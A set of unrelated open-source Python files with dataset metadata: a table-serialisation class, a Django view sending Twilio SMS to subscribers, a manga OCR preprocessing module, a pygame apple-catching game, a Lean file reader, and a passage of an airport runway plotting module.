[], {}]\\\\n[7, \"xyz\", \"2018-08-10T00:00:00\", [], {}]\\\\n[77, \"zyx\", null, [\"2018-08-01T00:00:00\"], {}]\\\\n'\n \"\"\"\n\n def __init__(self, s: Union[str, bytes, None] = None, mold: Any = None) -> None:\n if mold is not None:\n self.mold = Mold.ensure_it(mold)\n else:\n self.mold = Mold.ensure_it(type(self).__item_cref__.cls) # type: ignore\n self.data: List[List[Any]] = []\n if s is not None:\n s = ensure_string(s)\n lines = filter(not_zero_len, (s.strip() for s in s.split(\"\\n\")))\n header_line = next(lines)\n if header_line[0] != \"#\":\n raise AttributeError(f'header should start with \"#\":' f\" {header_line}\")\n header = json_decode(header_line[1:])\n cols = tuple(header[\"columns\"])\n # TODO support: [ int, bool, str, float, date, datetime, object ]\n mold_cols = tuple(self.mold.keys)\n if mold_cols != cols:\n raise AttributeError(f\" mismatch: {cols} {mold_cols}\")\n for l in lines:\n self.add_row(json_decode(l))\n\n def add_row(self, row=None):\n if not isinstance(row, (list, tuple)):\n if not isinstance(row, dict):\n row = DictLike(row)\n row = self.mold.dict_to_row(row)\n row = self.mold.mold_row(row, Conversion.TO_OBJECT)\n row_id = len(self.data)\n self.data.append(row)\n return row_id\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, row_id: int) -> ORow:\n mold = self.mold\n row = self.data[row_id]\n\n class _MoldedRow(ORow):\n def _row_id(self):\n return row_id\n\n def __getattr__(self, key):\n return row[mold.attrs[key].index]\n\n def __setattr__(self, key, value):\n row[mold.attrs[key].index] = value\n\n def __getitem__(self, item):\n if isinstance(item, str):\n return self.__getattr__(item)\n else:\n return row[item]\n\n def __setitem__(self, key, value):\n if isinstance(key, str):\n self.__setattr__(key, value)\n else:\n row[key] = value\n\n return _MoldedRow()\n\n def find_invalid_keys(self, row_id: Union[int, ORow]) -> List[str]:\n row_id = get_row_id(row_id)\n invalid_keys = []\n for ae in self.mold.attrs.values():\n if not (ae.validate(self.data[row_id][ae.index])):\n invalid_keys.append(ae.name)\n return invalid_keys\n\n def find_invalid_rows(self) -> List[int]:\n return [\n row_id\n for row_id in range(len(self.data))\n if len(self.find_invalid_keys(row_id)) > 0\n ]\n\n def new_row(self) -> ORow:\n row_id = len(self.data)\n self.data.append([None for _ in self.mold.keys])\n return self[row_id]\n\n def __str__(self):\n def gen():\n yield \"#\" + json_encode({\"columns\": self.mold.keys})\n for row in self.data:\n yield json_encode(self.mold.mold_row(row, Conversion.TO_JSON))\n yield \"\"\n\n return \"\\n\".join(gen())\n", "repo_name": "hashstore/hashkernel", "sub_path": "hashkernel/otable.py", "file_name": "otable.py", "file_ext": "py", "file_size_in_byte": 6552, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "hashkernel._GLOBAL_REF", "line_number": 18, "usage_type": "name"}, {"api_name": "hashkernel.mold.ClassRef.ensure_it", "line_number": 22, "usage_type": "call"}, {"api_name": "hashkernel.mold.ClassRef", "line_number": 22, "usage_type": "name"}, {"api_name": "hashkernel.GlobalRef", "line_number": 26, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 41, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 118, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 118, "usage_type": "name"}, {"api_name": "hashkernel.mold.Mold.ensure_it", "line_number": 120, "usage_type": "call"}, {"api_name": "hashkernel.mold.Mold", "line_number": 120, "usage_type": "name"}, {"api_name": "hashkernel.mold.Mold.ensure_it", "line_number": 122, "usage_type": "call"}, {"api_name": "hashkernel.mold.Mold", "line_number": 122, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 123, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 123, "usage_type": "name"}, {"api_name": "hashkernel.ensure_string", "line_number": 125, "usage_type": "call"}, {"api_name": "hashkernel.not_zero_len", "line_number": 126, "usage_type": "argument"}, {"api_name": "hashkernel.json_decode", "line_number": 130, "usage_type": "call"}, {"api_name": "hashkernel.json_decode", "line_number": 137, "usage_type": "call"}, {"api_name": "hashkernel.DictLike", "line_number": 142, "usage_type": "call"}, {"api_name": "hashkernel.mold.Conversion.TO_OBJECT", "line_number": 144, "usage_type": "attribute"}, {"api_name": "hashkernel.mold.Conversion", "line_number": 144, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 180, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 180, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 188, "usage_type": "name"}, {"api_name": "hashkernel.json_encode", "line_number": 202, "usage_type": "call"}, {"api_name": "hashkernel.json_encode", "line_number": 204, "usage_type": "call"}, {"api_name": "hashkernel.mold.Conversion.TO_JSON", "line_number": 204, "usage_type": "attribute"}, {"api_name": "hashkernel.mold.Conversion", "line_number": 204, "usage_type": "name"}]} {"seq_id": "34466132490", "text": "from django.shortcuts import render, redirect\nfrom .forms import SubscriberForm\nimport os\n# from twilio.rest import Client\nfrom twilio.rest import Client\nfrom django.conf import settings\n\n# Create your views here.\ntwilio_auth_token = os.environ.get(\"TWILIO_AUTH_TOKEN\")\n\ndef landing_page(request):\n if request.method == 'POST':\n form = SubscriberForm(request.POST)\n\n if form.is_valid():\n form.save()\n client = Client(settings.TWILIO_ACCOUNT_SID, twilio_auth_token)\n message = client.messages.create(\n body = \"\\U0001F680 Welcome to V.I.B.E.S Pre-Launch Alerts! \\U0001F4F1 \\n\\nGet ready to be the first to experience local adventures like never before! \\n\\nStay Tuned for exciting updates. Your input will shape V.I.B.E.S into something amazing!\\U0001F4AA\\U0001F38A\",\n from_ = settings.TWILIO_PHONE_NUMBER,\n to = form.cleaned_data['phone_number'] \n )\n print(message.sid)\n return redirect(\"/connect-vibes/\")\n else:\n return redirect(\"/connect-vibes/\")\n else:\n form = SubscriberForm()\n context = {'form':form}\n return render(request, 'index.html', context)", "repo_name": "NiikNiik/jjj", "sub_path": "scores/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1213, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.environ.get", "line_number": 9, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 9, "usage_type": "attribute"}, {"api_name": "forms.SubscriberForm", "line_number": 13, "usage_type": "call"}, {"api_name": "twilio.rest.Client", "line_number": 17, "usage_type": "call"}, {"api_name": "django.conf.settings.TWILIO_ACCOUNT_SID", "line_number": 17, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 17, "usage_type": "name"}, {"api_name": "django.conf.settings.TWILIO_PHONE_NUMBER", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 20, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 24, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 26, "usage_type": "call"}, {"api_name": "forms.SubscriberForm", "line_number": 28, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 30, "usage_type": "call"}]} {"seq_id": "28100137251", "text": "import json\nimport re\nfrom pathlib import Path\nfrom functools import partial\nfrom typing import Sequence, Callable\nfrom copy import copy\n\nfrom PIL import Image\nfrom manga_ocr import MangaOcr\nfrom logzero import logger\n\nimport pcleaner.ctd_interface as ctm\nimport pcleaner.structures as st\nimport pcleaner.config as cfg\nimport pcleaner.helpers as hp\n\n\ndef generate_mask_data(\n image_path: list[Path],\n config_general: cfg.GeneralConfig,\n config_detector: cfg.TextDetectorConfig,\n model_path: Path,\n output_dir: Path,\n) -> None:\n \"\"\"\n Run the ai model to generate masks and box data for the given image,\n or all images in the given directory.\n\n :param image_path: Path to the image or directory of images.\n :param config_general: General configuration, part of the profile.\n :param config_detector: Text detector configuration, part of the profile.\n :param model_path: Path to the model file.\n :param output_dir: Path to the directory where the results will be saved.\n \"\"\"\n\n ctm.model2annotations(config_general, config_detector, model_path, image_path, output_dir)\n\n\ndef prep_json_file(\n json_file_path: Path,\n preprocessor_conf: cfg.PreprocessorConfig,\n cache_masks: bool,\n mocr: MangaOcr | None = None,\n cache_masks_ocr: bool = False,\n) -> st.OCRAnalytic | None:\n \"\"\"\n Load the generated json file, and clean the data, leaving only the\n relevant data for the following steps.\n\n Check that this file wasn't already processed, and if it was, skip it.\n Processed json files have the file name ending with '#clean.json'.\n\n If a manga ocr object is given, run ocr on small boxes to determine whether\n they contain mere symbols, in which case these boxes do not need to be cleaned\n and can be removed from the dataset.\n The model must be initialized somewhere else to lessen coupling, and to avoid the long\n initialization time for each page.\n\n :param json_file_path: Path to the json file.\n :param preprocessor_conf: Preprocessor configuration, part of the profile.\n :param cache_masks: Whether to cache the masks.\n :param mocr: [Optional] Manga ocr object.\n :param cache_masks_ocr: [Optional] Whether to cache the masks early for ocr.\n :return: Analytics data if the manga ocr object is given, None otherwise.\n \"\"\"\n logger.debug(f\"Processing json file: {json_file_path}\")\n\n # Check if the file was already processed.\n if not json_file_path.name.endswith(\"#raw.json\"):\n return None\n\n json_data = json.loads(json_file_path.read_text())\n\n image_path: str = json_data[\"image_path\"]\n mask_path: str = json_data[\"mask_path\"]\n original_path: str = json_data[\"original_path\"]\n scale: float = json_data[\"scale\"]\n boxes: list[st.Box] = []\n\n for data in json_data[\"blk_list\"]:\n # Check minimum size of box.\n box = st.Box(*data[\"xyxy\"])\n if box.area > preprocessor_conf.box_min_size:\n # Sussy box. Discard if it's too small.\n if (\n data[\"language\"] == \"unknown\"\n and box.area < preprocessor_conf.suspicious_box_min_size\n ):\n continue\n boxes.append(box)\n\n # Sort boxes by their x+y coordinates, using the top right corner as the reference.\n boxes.sort(key=lambda b: b.y1 - 0.4 * b.x2)\n\n page_data = st.PageData(image_path, mask_path, original_path, scale, boxes, [], [], [])\n\n # Pad the boxes a bit, save a copy, and then pad them some more.\n # The copy is used as a smaller mask, and the padded copy is used as a larger mask.\n page_data.grow_boxes(preprocessor_conf.box_padding_initial, st.BoxType.BOX)\n page_data.right_pad_boxes(preprocessor_conf.box_right_padding_initial, st.BoxType.BOX)\n\n # Draw the boxes on the image and save it.\n if cache_masks or cache_masks_ocr:\n page_data.visualize(Path(page_data.image_path))\n\n # Run OCR to discard small boxes that only contain symbols.\n analytic: st.OCRAnalytic | None = None\n if mocr is not None:\n page_data, analytic = ocr_check(\n page_data,\n mocr,\n preprocessor_conf.ocr_max_size,\n preprocessor_conf.ocr_blacklist_pattern,\n )\n\n # A shallow copy of the box list suffices, because the tuples inside are immutable.\n page_data.extended_boxes = copy(page_data.boxes)\n\n page_data.grow_boxes(preprocessor_conf.box_padding_extended, st.BoxType.EXTENDED_BOX)\n page_data.right_pad_boxes(preprocessor_conf.box_right_padding_extended, st.BoxType.EXTENDED_BOX)\n\n # Check for overlapping boxes among the extended boxes.\n # The resulting list is saved in the page_data.merged_extended_boxes attribute.\n page_data.resolve_overlaps()\n\n # Copy the merged extended boxes to the reference boxes and grow them once again.\n page_data.reference_boxes = copy(page_data.merged_extended_boxes)\n page_data.grow_boxes(preprocessor_conf.box_reference_padding, st.BoxType.REFERENCE_BOX)\n\n # Write the json file with the cleaned data.\n json_out_path = json_file_path.parent / f\"{json_file_path.stem.replace('#raw', '')}#clean.json\"\n\n json_out_path.write_text(page_data.to_json())\n\n # Draw the boxes on the image and save it.\n if cache_masks and not cache_masks_ocr:\n page_data.visualize(Path(page_data.image_path), final_boxes=True)\n\n return analytic\n\n\ndef ocr_check(\n page_data: st.PageData, mocr: MangaOcr, max_box_size: int, ocr_blacklist_pattern: str\n) -> tuple[st.PageData, st.OCRAnalytic]:\n \"\"\"\n Run OCR on small boxes to determine whether they contain mere symbols,\n in which case these boxes do not need to be cleaned and can be removed\n from the dataset.\n\n The page_data object is modified in place.\n\n Return analytics data:\n - number of boxes\n - sizes of all boxes that were ocred\n - sizes of the boxes that were removed\n - the cached file name and the text and the box that was removed.\n\n (Returning the page data isn't strictly necessary, since it's modified in place,\n but this makes that fact more explicit.)\n\n :param page_data: PageData object containing the data for the page.\n :param mocr: Manga ocr object.\n :param max_box_size: Maximum size of a box in pixels, to consider it for ocr.\n :param ocr_blacklist_pattern: Regex pattern to match against the ocr result.\n :return: The modified page data and Analytics data.\n \"\"\"\n base_image = Image.open(page_data.image_path)\n candidate_small_bubbles = [box for box in page_data.boxes if box.area < max_box_size]\n if not candidate_small_bubbles:\n return page_data, st.OCRAnalytic(len(page_data.boxes), (), (), ())\n # Check if the small bubbles only contain symbols.\n # If they do, then they are probably not text.\n # Discard them in that case.\n box_sizes = []\n discarded_box_sizes = []\n discarded_box_texts: list[tuple[Path, str, st.Box]] = []\n for box in candidate_small_bubbles:\n cutout = base_image.crop(box.as_tuple)\n text = mocr(cutout)\n remove = is_not_worth_cleaning(text, ocr_blacklist_pattern)\n box_sizes.append(box.area)\n if remove:\n discarded_box_texts.append((Path(page_data.original_path), text, box))\n discarded_box_sizes.append(box.area)\n page_data.boxes.remove(box)\n\n return (\n page_data,\n st.OCRAnalytic(len(page_data.boxes), box_sizes, discarded_box_sizes, discarded_box_texts),\n )\n\n\ndef is_not_worth_cleaning(text: str, blacklist_pattern: str) -> bool:\n \"\"\"\n Check if the text is not worth cleaning.\n This is the case if the text is empty, or if it only contains symbols.\n Note that this OCR model produces full width characters.\n\n :param text: Text to check.\n :param blacklist_pattern: Regex pattern to match against the text.\n :return: True if the text is not worth cleaning, False otherwise.\n \"\"\"\n if re.fullmatch(blacklist_pattern, text):\n return True\n return False\n", "repo_name": "VoxelCubes/PanelCleaner", "sub_path": "pcleaner/preprocessor.py", "file_name": "preprocessor.py", "file_ext": "py", "file_size_in_byte": 7987, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 80, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pathlib.Path", "line_number": 19, "usage_type": "name"}, {"api_name": "pcleaner.config.GeneralConfig", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pcleaner.config", "line_number": 20, "usage_type": "name"}, {"api_name": "pcleaner.config.TextDetectorConfig", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pcleaner.config", "line_number": 21, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 22, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 23, "usage_type": "name"}, {"api_name": "pcleaner.ctd_interface.model2annotations", "line_number": 36, "usage_type": "call"}, {"api_name": "pcleaner.ctd_interface", "line_number": 36, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 40, "usage_type": "name"}, {"api_name": "pcleaner.config.PreprocessorConfig", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pcleaner.config", "line_number": 41, "usage_type": "name"}, {"api_name": "manga_ocr.MangaOcr", "line_number": 43, "usage_type": "name"}, {"api_name": "logzero.logger.debug", "line_number": 66, "usage_type": "call"}, {"api_name": "logzero.logger", "line_number": 66, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 72, "usage_type": "call"}, {"api_name": "pcleaner.structures.Box", "line_number": 78, "usage_type": "attribute"}, {"api_name": "pcleaner.structures", "line_number": 78, "usage_type": "name"}, {"api_name": "pcleaner.structures.Box", "line_number": 82, "usage_type": "call"}, {"api_name": "pcleaner.structures", "line_number": 82, "usage_type": "name"}, {"api_name": "pcleaner.structures.PageData", "line_number": 95, "usage_type": "call"}, {"api_name": "pcleaner.structures", "line_number": 95, "usage_type": "name"}, {"api_name": "pcleaner.structures.BoxType", "line_number": 99, "usage_type": "attribute"}, {"api_name": "pcleaner.structures", "line_number": 99, "usage_type": "name"}, {"api_name": "pcleaner.structures.BoxType", "line_number": 100, "usage_type": "attribute"}, {"api_name": "pcleaner.structures", "line_number": 100, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 104, "usage_type": "call"}, {"api_name": "pcleaner.structures.OCRAnalytic", "line_number": 107, "usage_type": "attribute"}, {"api_name": "pcleaner.structures", "line_number": 107, "usage_type": "name"}, {"api_name": "copy.copy", "line_number": 117, "usage_type": "call"}, {"api_name": "pcleaner.structures.BoxType", "line_number": 119, "usage_type": "attribute"}, {"api_name": "pcleaner.structures", "line_number": 119, "usage_type": "name"}, {"api_name": "pcleaner.structures.BoxType", "line_number": 120, "usage_type": "attribute"}, {"api_name": "pcleaner.structures", "line_number": 120, "usage_type": "name"}, {"api_name": "copy.copy", "line_number": 127, "usage_type": "call"}, {"api_name": "pcleaner.structures.BoxType", "line_number": 128, "usage_type": "attribute"}, {"api_name": "pcleaner.structures", "line_number": 128, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 137, "usage_type": "call"}, {"api_name": "pcleaner.structures.OCRAnalytic", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pcleaner.structures", "line_number": 45, "usage_type": "name"}, {"api_name": "pcleaner.structures.PageData", "line_number": 143, "usage_type": "attribute"}, {"api_name": "pcleaner.structures", "line_number": 143, "usage_type": "name"}, {"api_name": "manga_ocr.MangaOcr", "line_number": 143, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 167, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 167, "usage_type": "name"}, {"api_name": "pcleaner.structures.OCRAnalytic", "line_number": 170, "usage_type": "call"}, {"api_name": "pcleaner.structures", "line_number": 170, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 176, "usage_type": "name"}, {"api_name": "pcleaner.structures.Box", "line_number": 176, "usage_type": "attribute"}, {"api_name": "pcleaner.structures", "line_number": 176, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 183, "usage_type": "call"}, {"api_name": "pcleaner.structures.OCRAnalytic", "line_number": 189, "usage_type": "call"}, {"api_name": "pcleaner.structures", "line_number": 189, "usage_type": "name"}, {"api_name": "pcleaner.structures.PageData", "line_number": 144, "usage_type": "attribute"}, {"api_name": "pcleaner.structures", "line_number": 144, "usage_type": "name"}, {"api_name": "pcleaner.structures.OCRAnalytic", "line_number": 144, "usage_type": "attribute"}, {"api_name": "re.fullmatch", "line_number": 203, "usage_type": "call"}]} {"seq_id": "2783982360", "text": "#Catch the apples \r\n#Based on Whack-a-mole game using pygame by Kimberly Todd\r\n\r\nfrom pygame import *\r\nfrom pygame.sprite import *\r\nfrom random import *\r\nimport os\r\n\r\nDELAY = 1000; #Seed a timer to move sprite\r\n\r\nbgcolor = (255,255,255) \r\n#Color taken from background of sprite\r\n\r\nclass Snake(Sprite):\r\n def __init__(self):\r\n Sprite.__init__(self)\r\n self.image = pygame.image.load(\"snake.bmp\")\r\n self.rect = self.image.get_rect()\r\n self.rect.center = (300, 400)\r\n self.dx = self.dy = 0\r\n\r\n def move(self, direction):\r\n currentX = self.rect.centerx\r\n currentY = self.rect.centery\r\n\r\n newx = currentX\r\n newy = currentY\r\n if direction == \"right\":\r\n newx += 10\r\n self.dx = 10\r\n if direction == \"left\":\r\n newx -= 10\r\n self.dx = -10\r\n if direction == \"up\":\r\n newy -= 10\r\n self.dy = -10\r\n if direction == \"down\":\r\n newy += 10\r\n self.dy = 10\r\n\r\n self.rect.center = (newx,newy)\r\n def update(self):\r\n x, y = self.rect.center\r\n self.rect.center = x + self.dx, y + self.dy\r\n\r\nclass Apple(Sprite):\r\n def __init__(self, x_pos):\r\n #print(\"dd\")\r\n Sprite.__init__(self)\r\n self.image = image.load(\"apple.gif\").convert()\r\n self.rect = self.image.get_rect()\r\n self.rect.center = (x_pos, 0)\r\n\r\n self.velocity = randint(1, 3)\r\n\r\n def update(self):\r\n #print(\"ddd\")\r\n x, y = self.rect.center\r\n\r\n if y > 480:\r\n x, y = randint(0, 640), 0\r\n self.velocity = randint(2, 4)\r\n else:\r\n x, y = x, y + self.velocity\r\n\r\n self.rect.center = x, y\r\n\r\n\r\n # Did snake hit the target (apple)?\r\n def hit(self, target):\r\n return self.rect.colliderect(target)\r\n\r\n #The apples will move randomly as the snake eats it \r\n def move(self):\r\n # y_vel = 1\r\n # self.y += y_vel\r\n # if self.y > Y_MAX:\r\n # self.kill\r\n randX = randint(0, 640)\r\n randY = randint(0, 480)\r\n self.rect.center = (randX,randY)\r\n\r\n\r\n#main\r\ninit()\r\n\r\nscreen = display.set_mode((640, 480))\r\nbg = pygame.image.load(\"tree.bmp\")\r\nbgRect = bg.get_rect()\r\n\r\ndisplay.set_caption('Eat-apples')\r\n\r\n# hide the mouse cursor so we only see shovel\r\n# mouse.set_visible(False)\r\n\r\nf = font.Font(None, 25)\r\n\r\n# create the snake and apple using the constructors\r\nx_pos = randint(0, 640)\r\nsnake = Snake()\r\napple = Apple(x_pos)\r\napple.move()\r\n# creates a group of sprites so all can be updated at once\r\nsprites = RenderPlain(snake, apple)\r\nsprites.update()\r\n\r\nhits = 0\r\ntime.set_timer(USEREVENT + 1, DELAY)\r\n\r\n# loop until user quits\r\nwhile True:\r\n screen.blit(bg, bgRect)\r\n apple.update()\r\n e = event.poll()\r\n if e.type == QUIT:\r\n quit()\r\n break\r\n if e.type == pygame.KEYDOWN:\r\n if e.key == pygame.K_LEFT:\r\n snake.move(\"left\")\r\n if e.key == pygame.K_RIGHT:\r\n snake.move(\"right\")\r\n if e.key == pygame.K_UP:\r\n snake.move(\"up\")\r\n if e.key == pygame.K_DOWN:\r\n snake.move(\"down\")\r\n if e.type == pygame.KEYUP:\r\n if e.key == pygame.K_LEFT:\r\n snake.move(\"left\")\r\n if e.key == pygame.K_RIGHT:\r\n snake.move(\"right\")\r\n if e.key == pygame.K_UP:\r\n snake.move(\"up\")\r\n if e.key == pygame.K_DOWN:\r\n snake.move(\"down\")\r\n \r\n #Boarder dimmensions\r\n #When you lift your hand from the key, the snake should stop moving\r\n \r\n\r\n # elif e.type == MOUSEBUTTONDOWN:\r\n if apple.hit(snake):\r\n mixer.Sound(\"appleCrunch.wav\").play()\r\n apple.move()\r\n hits += 1\r\n \r\n # display.update()\r\n # reset timer\r\n \r\n # elif e.type == USEREVENT + 1: # TIME has passed\r\n # gold.move()\r\n\r\n # refill background color so that we can paint sprites in new locations\r\n #screen.fill(bgcolor)\r\n t = f.render(\"Apples count = \" + str(hits), False, (0,0,0))\r\n screen.blit(t, (320, 0)) # draw text to screen. Can you move it?\r\n if hits == 15:\r\n screen.fill((0, 0, 0))\r\n t = f.render(\"You Won!!!!\", False, (255,255,255))\r\n screen.blit(t, (310, 240))\r\n else:\r\n sprites.draw(screen)\r\n # update and redraw sprites\r\n sprites.update()\r\n # sprites.draw(screen)\r\n display.update()\r\n", "repo_name": "cmmatz/hw4", "sub_path": "Homework4/pygame_snake.py", "file_name": "pygame_snake.py", "file_ext": "py", "file_size_in_byte": 4486, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pygame.image.load", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 88, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 88, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 118, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 119, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 121, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 123, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 125, "usage_type": "attribute"}, {"api_name": "pygame.KEYUP", "line_number": 127, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 128, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 130, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 132, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 134, "usage_type": "attribute"}]} {"seq_id": "24624399016", "text": "from typing import List, Dict, Optional, Tuple, TextIO\nfrom pathlib import Path\nfrom io import StringIO\n\nimport regex\n\nfrom format_lean.server import Server\n\nblank_line_regex = regex.compile(r'^\\s*$')\n\ndef dismiss_line(file_reader, line):\n pass\n\n\nclass FileReader:\n def __init__(self, lean_exec_path, lean_path, readers: List = None):\n self.readers = [reader() for reader in readers]\n self.status = ''\n self.output = []\n self.filename = ''\n self.cur_line_nb = 1\n self.normal_line_handler = dismiss_line\n self.blank_line_handler = dismiss_line\n self.server = Server(lean_exec_path, lean_path)\n self.metadata = dict()\n\n def reset(self):\n self.status = ''\n self.normal_line_handler = dismiss_line\n self.blank_line_handler = dismiss_line\n \n def hard_reset(self):\n self.reset()\n self.cur_line_nb = 1\n self.output = []\n\n def read_file(self, path):\n self.server.sync(path)\n self.filename = path\n with open(str(path), 'r') as f:\n for line in f:\n for reader in self.readers:\n if reader.read(self, line):\n break\n else:\n if blank_line_regex.match(line):\n self.blank_line_handler(self, line)\n else:\n self.normal_line_handler(self, line)\n self.cur_line_nb += 1\n\nclass LineReader:\n regex = regex.compile(r'.*')\n\n def read(self, file_reader, line):\n m = self.regex.match(line)\n if m:\n return self.run(m, file_reader)\n else:\n return False\n", "repo_name": "leanprover-community/format_lean", "sub_path": "src/format_lean/line_reader.py", "file_name": "line_reader.py", "file_ext": "py", "file_size_in_byte": 1702, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 56, "dataset": "github-code", "pt": "7", "api": [{"api_name": "regex.compile", "line_number": 9, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 16, "usage_type": "name"}, {"api_name": "format_lean.server.Server", "line_number": 24, "usage_type": "call"}, {"api_name": "regex.compile", "line_number": 53, "usage_type": "call"}]} {"seq_id": "2554716285", "text": "import pickle\nfrom io import BytesIO\nfrom pathlib import Path\nfrom typing import (\n TYPE_CHECKING,\n Any,\n Dict,\n List,\n NamedTuple,\n Optional,\n Tuple,\n Union,\n)\nfrom zipfile import ZipFile\n\nimport requests\nfrom pitot.geodesy import bearing, destination\nfrom tqdm.rich import tqdm\n\nimport numpy as np\nimport pandas as pd\nfrom shapely.geometry import base, shape\nfrom shapely.ops import linemerge\n\nfrom ... import cache_expiration\nfrom ...core.mixins import DataFrameMixin, HBoxMixin, PointMixin, ShapelyMixin\n\nif TYPE_CHECKING:\n import altair as alt\n from cartopy.mpl.geoaxes import GeoAxesSubplot\n\n from ...core.structure import Airport\n\n__github_url = \"https://raw.githubusercontent.com/\"\nbase_url = __github_url + \"ProfHoekstra/bluesky/master/data/navdata\"\n\n\nclass ThresholdTuple(NamedTuple):\n latitude: float\n longitude: float\n bearing: float\n name: str\n\n\nclass Threshold(ThresholdTuple, PointMixin):\n def __repr__(self) -> str:\n return f\"Runway {self.name}: {self.latlon}\"\n\n\nRunwaysType = Dict[str, List[Tuple[Threshold, Threshold]]]\n\n\nclass RunwayAirport(HBoxMixin, ShapelyMixin, DataFrameMixin):\n def __init__(\n self,\n data: Optional[pd.DataFrame] = None,\n runways: List[Tuple[Threshold, Threshold]] = list(),\n ) -> None:\n self._data: Optional[pd.DataFrame] = data\n self._runways = runways\n\n @property\n def data(self) -> pd.DataFrame:\n return pd.DataFrame.from_records(\n self.list, columns=[\"latitude\", \"longitude\", \"bearing\", \"name\"]\n )\n\n @property\n def list(self) -> List[Threshold]:\n return sum((list(runway) for runway in self._runways), [])\n\n def geojson(self) -> List[Dict[str, Any]]:\n return [\n {\n \"geometry\": {\n \"type\": \"LineString\",\n \"coordinates\": tuple(\n (thrs.longitude, thrs.latitude) for thrs in runway\n ),\n },\n \"properties\": \"/\".join(thrs.name for thrs in runway),\n \"type\": \"Feature\",\n }\n for runway in self._runways\n ]\n\n @property\n def shape(self) -> base.BaseGeometry:\n return linemerge(shape(x[\"geometry\"]) for x in self.geojson())\n\n def plot(\n self,\n ax: \"GeoAxesSubplot\",\n *args: Any,\n runways: bool = True,\n labels: bool = False,\n shift: int = 300,\n text_kw: Optional[Dict[str, Any]] = None,\n **kwargs: Any,\n ) -> None: # coverage: ignore\n from cartopy.crs import PlateCarree\n\n if runways is True:\n params = {\n \"edgecolor\": \"#0e1111\",\n \"crs\": PlateCarree(),\n \"linewidth\": 3,\n **kwargs,\n }\n ax.add_geometries([self.shape], **params)\n\n if labels is True:\n if text_kw is None:\n text_kw = dict()\n\n text_kw = {\n **dict(\n transform=PlateCarree(),\n fontsize=18,\n horizontalalignment=\"center\",\n verticalalignment=\"center\",\n rotation_mode=\"anchor\",\n ),\n **text_kw,\n }\n\n for thr in self.list:\n # Placement of labels\n lat, lon, _ = destination(\n thr.latitude, thr.longitude, thr.bearing + 180, shift\n )\n\n # Compute the rotation of labels\n lat2, lon2, _ = destination(lat, lon, thr.bearing + 180, 1000)\n x1, y1 = ax.projection.transform_point(\n thr.longitude, thr.latitude, PlateCarree()\n )\n x2, y2 = ax.projection.transform_point(\n lon2, lat2, PlateCarree()\n )\n rotation = 90 + np.degrees(np.arctan2(y2 - y1, x2 - x1))\n\n ax.text(lon, lat, thr.name, rotation=rotation, **text_kw)\n\n def geoencode(self, **kwargs: Any) -> \"alt.Chart\": # coverage: ignore\n import altair as alt\n\n if kwargs.get(\"mode\", None) == \"geometry\":\n params = {**{\"strokeWidth\": 4, \"stroke\": \"black\"}, **kwargs}\n del params[\"mode\"]\n return super().geoencode().mark_geoshape(**params)\n elif kwargs.get(\"mode\", None) == \"labels\":\n params = {\n **{\"baseline\": \"middle\", \"dy\": 20, \"fontSize\": 18},\n **kwargs,\n }\n del params[\"mode\"]\n rwy_labels = alt.Chart(self.data).encode(\n longitude=\"longitude:Q\", latitude=\"latitude:Q\", text=\"name:N\"\n )\n rwy_layers = [\n rwy_labels.transform_filter(alt.datum.name == name).mark_text(\n angle=bearing, **params\n )\n for (name, bearing) in zip(self.data.name, self.data.bearing)\n ]\n\n return alt.layer(*rwy_layers)\n\n return None\n\n\nclass Runways(object):\n cache_dir: Optional[Path] = None\n\n def __init__(self) -> None:\n self._runways: 